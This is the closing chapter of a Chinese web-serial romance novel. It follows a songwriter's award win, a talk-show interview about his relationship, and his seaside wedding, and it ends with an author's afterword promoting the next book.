【贺漾, 你得奖了,你快站起来啊!】 【还聊?还聊?到底聊什么这么开心啊。】 【虽然很高兴他们感情这么好,但真的好好笑啊。】 直到前后左右的嘉宾都向他们这边投来目光和掌声,贺漾才意识到自己得奖了。赶紧起身和许稚舒抱了一下,就往台上赶。 许稚舒为他高兴,虽然也知道刚才镜头给过来时,两个人并不在获奖的状态里,但无伤大雅。 说完获奖感言,贺漾回到座位上,镜头再次给到他和许稚舒,就见他把奖杯递给许稚舒看。这首歌是许稚舒写的,这个荣誉许稚舒也有份。 之后两个人就没聊得太忘情了,以免再被抓到,被说对颁奖礼不尊重。 后面颁出的年度最佳男团和最佳女团分别被Breeze和To ver收入囊中,两个团的孩子们激动得不行,在台上哭了一个又一个,看得许稚舒有些感慨,想当初他们Infinite初获奖时,他、贺漾和纪西卓都没控制住。现在在上面激动落泪的是他参与制作的团,仿佛是一种无声的延续,延续着音乐,也延续着音乐传达出的精神。 当然,这两个团获奖,最大的赢家还要属初黎。 说到初黎,许稚舒恍然想起自己好久没要听到纬弦的消息了。之前纬弦的艺人今天一个都没来。 于是他向贺漾问了一句,他估计路煌应该是知道的,只不过不希望他再听到跟杨家有关的事导致心情不好,所以没跟他说。 “纬弦已经彻底完了,根本没卖出去,现在就是苟延残喘还留了个名。杨立致听说已经被立案了,等着正式起诉呢,估计能判实刑。艺人能走的都走了,走不了的在打官司要解除合约。不过离开的艺人好像也没有什么资源,今天一个都没来。”贺漾也注意到了,“他们养的那些音乐人是最早离开的,不过后来也没听说有什么作品拿出来。” 许稚舒点点头,如此,他就放心了。如果杨立致还能继续过好日子,那才是不公。 今天的倒数第三个奖项是年度最佳音乐人。 许稚舒是所有人里最放松的,他写的歌,参与制作的团都拿了奖。正常来说,为了百花齐放,他注定是要陪跑的。别说他了,就连粉丝们都只是冲着看看他来的,根本没冲着他拿奖来。 结果当颁奖嘉宾念出他的名字时,许稚舒还以为自己是幻听了。直到贺漾催他上台,他才回过神来。 【不得不说,许稚舒从单干之后的确是写一首红一首,今天的颁奖典礼感觉都是围绕着他来颁的。】 【谁说不是呢?我看了一下去年我的音乐列表,许稚舒写的歌一首不落全在。】 【哈哈哈,我们稚舒的粉丝终于又能喊出一句实至名归了!】 【恭喜稚舒!】 【稚舒超棒的!】 【爱情事业双丰收了。】 …… 许稚舒都没准备领奖词,不过这倒也难不倒他,毕竟经验还是有的。 “以前上台领奖,要感谢的人很多,但现在除了感谢我身边的两位工作人员外,要感谢的就只有愿意演唱我写的歌的歌手们了。感谢你们的演唱为歌曲增添了新的生命力。也感谢各位粉丝对我一如既往的支持。希望以后能有更好的作品回馈大家。” 许稚舒这边说完,刚要鞠躬感谢,就听观众席有人喊了路煌的名字。声音太清楚,引得在场的人发出善意的笑声。 许稚舒也笑起来,对着话筒道:“他属于我的私事,不属于拿出来感谢的范围。” 说完,在大家的笑声和音乐中,许稚舒下了台。 直到颁奖典礼结束,弹幕上被提到最多的还是许稚舒和路煌。 艺人和粉丝有序离场,有些歌手在典礼结束前已经离开了,以免到时候造成拥挤。粉丝们有些聚集到了停车场周围,希望能送艺人下班。 许稚舒是最后一批离开的,这会儿等在外面的几乎都是他的粉丝了。这并不是主办方有意安排,许稚舒也没有这个计划,只是恰好而已。 当接许稚舒的车子驶进来时,眼尖的粉丝立刻就认出了那是路煌的车。 是的,两个人已经说好了,晚上路煌来接他,只不过许稚舒没想到会有这么多粉丝在这儿等。 粉丝们惊喜地喊着路煌的名字。 路煌虽然也没料到,但非常从容地停好车子,压下车窗,跟大家挥手。 许稚舒走出来,粉丝的目光再次被他吸引过去。 “大家早点回去吧,路上注意安全。”许稚舒提醒粉丝,他现在这样与粉丝见面的机会很少,所以能多说几句他还是会说的。 “稚舒,你会参加长清的节目吧?”有粉丝问。 “会的。”许稚舒回。 “稚舒,你和路煌要幸福哦!” “对呀对呀,要幸福啊!” “祝福你们。” 大家你一言我一语地说着。 许稚舒笑着点头:“会的,以后路煌的账号也会常更新的。谢谢你们的支持。” 粉丝们满意了。 许稚舒也上了车,两个人跟粉丝们挥挥手,就在保安的护送下开车驶离了。 许稚舒把奖杯放到后座,笑说:“真没想到会得奖。” “新家装修的时候给点你做一面奖杯墙吧。”许稚舒得奖,路煌也高兴,只不过现在时间比较晚了,没办法找个适合的地方庆祝。 “不要,奖杯放工作室就好。家和工作要分开。”许稚舒说。 “好,听你的。”既然许稚舒不想要,路煌肯定尊重他的意见。想来也对,两个人的家,还是以温馨,有家的味道为主,家里有乐器可以算是爱好,但太多工作的元素,就不够纯粹了。 * 一周后,许稚舒参加了单长清的节目《随便聊会儿》,这也是第一季的最后一期,由路煌开头,他来做结尾,最合适不过了。 “咱们两个就不必那么客套了吧。”单长清明显比前几期都游刃有余,加上是许稚舒,他就更放松了。 “的确,不过今天不是第一季最后一期吗?你们这个场景就没特别布置一下?”许稚舒坐到自己的位子上。 “我们经费有限,要不你投资一下?我立刻给你拉个横幅,专门感谢你。”单长清还比划了一下可以挂横幅的地方。 “你投资都拉我身上了?”许稚舒知道他这话是玩笑,但话题能顺下去,就那顺着聊。 “你现在可是管理层了。”单长清借这个话题向大的宣布了许稚舒的新身份,同时也是向外界传达他和路煌的关系已经得到了路家的认可,所以才能够接手初黎娱乐。 后面两个人就公司管理和个人发展聊了起来。 许稚舒不禁在想,如果单长清和路千瑗真成了,那估计也会跟他一个待遇,到时候忙得飞起。不过这些他现在就是想一想,不可能拿出来说的。 至于单长清和路千瑗交往得如何,他虽没过问,不过没听说两个人有什么波折,那应该就是顺利的。 聊了事业,自然也会聊到爱情。 “因为咱们太熟了,你们的事我基本都知道,所以我要是装不知道一件一件地问,就显得很假了。”单长清从身后拿出一沓纸,“所以我们编导组灵机一动,在网上征集了粉丝想问你的关于你感情上的事,咱们用替粉丝问答的方式来聊,怎么样?” 许稚舒笑问:“你确定粉丝提的都是正经问题?” “哈哈,那些不正经的编导已经帮你剔除了。” “那行。”许稚舒坐直了身体,等待提问。 “你和路煌是谁追得谁?” “他追我。” “你喜欢路煌什么?” “长得帅。” 单长清笑道:“你这答得也太没深度了吧?” “你问他,他肯定也是这个答案。好的品性,聊得来,或者说有很多共同的想法,这些都是相处很长一段时间后慢慢得出的结论。但开始愿意接触,肯定是对方要长在自己的审美点上。”许稚舒没说谎。 单长清挑眉:“你这样可就暴露了,别人以为你们是才在一起没多久,但你的话不像是日久生情。” 许稚舒:“你现在是越来越会抓重点了。好吧,我得向粉丝们坦白,我们的确在一起很久了,虽然中间有些波折,但都过去了。” 单长清:“你们现在应该都很忙吧?我听说他回到家里的公司帮忙了。那见面的时间是不是短了?” “的确,只有下班后才能见上。不过我们两个都尽量周末不加班,这样会好一些。”虽然难做到,但都在尽力。 “周末会出门约会吗?会不会担心说上粉丝?”这个问题又回到了粉丝的提问上。 “没有担心遇到粉丝,其实几乎没遇到过粉丝。我们会找人少的地方,再加上我们出门会戴口罩帽子之类的,不是那么容易被认出来的。” 一些粉丝好奇的问题,单长清都问了。等到节目播出时,大大地满足了粉丝们的好奇心,也让收视再创新高。CP粉们就更兴奋了,拿出各种证据表明自己就是火眼金睛,这两个人肯定是在团期间就谈上了,不然不可能有那么多有CP感的照片! 节目播出后,两个人沉寂了近三个月。 六月的一天,路煌的账号再次更新了,发了他和许稚舒婚礼的照片,两个人在亲朋好友的见证下,在海边举办了婚礼。 照片上的两个人都穿着白西装,面对面交换戒指。风吹起装饰的蓝纱,海鸥自上方飞过,花瓣翩翩落下,美好得像童话一般。 一句“我们结婚了”,就像是这则童话的最后一句。从此,王子与王子幸福地生活在一起。不用质疑,不用续写,这就是他们未来生活会有的样子,在亲友及粉丝的鉴证下,相互扶持,白头到老。 【正文完】—— 作者有话说:感谢支持!正文部分到这里就结束啦! 又写完了一篇文,再次夸奖自己很厉害! 也非常感谢大家的陪伴和鼓励。 番外没有太多可写的,应该就是一些日常吧。 新文《踩骨登阶》已开预收,古耽,将军攻x太监受,求收藏! 以上。再次感谢大家,爱你们!《 》